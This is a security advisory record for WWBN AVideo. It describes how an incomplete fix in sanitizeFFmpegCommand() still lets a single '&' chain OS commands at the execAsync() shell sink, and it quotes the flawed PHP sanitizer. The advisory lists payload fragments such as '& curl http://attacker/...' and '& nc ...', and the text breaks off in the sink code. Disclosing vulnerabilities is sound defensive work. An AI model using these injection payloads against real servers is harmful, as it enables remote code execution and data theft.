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EUVD-2026-338451

fkie_cve-2026-55173

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

GHSA-wc3f-xc32-435f — AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator),…

Affected: Packagist: wwbn/avideo

### Summary

The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\n`, `\r` to the denylist character class and a `str_replace('&&', '', ...)`. It still does **not** neutralize a single `&` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.

Verified at master HEAD.

### The surviving gap

HEAD `sanitizeFFmpegCommand` (`functions.php`): ```php $command = str_replace('&&', '', $command); // only the doubled form $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>' $command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&' // then requires the result to start with 'ffmpeg' ``` A single `&` is therefore preserved. `ffmpeg ... & <cmd>` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate.

### Sink (unchanged)

`plugin/API/standAlone/ffmpeg.json.php:418` -> `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`: ```php $command = addcslashes($command, '"'); // line 686 — escapes only the double-quote $commandWithKeyword…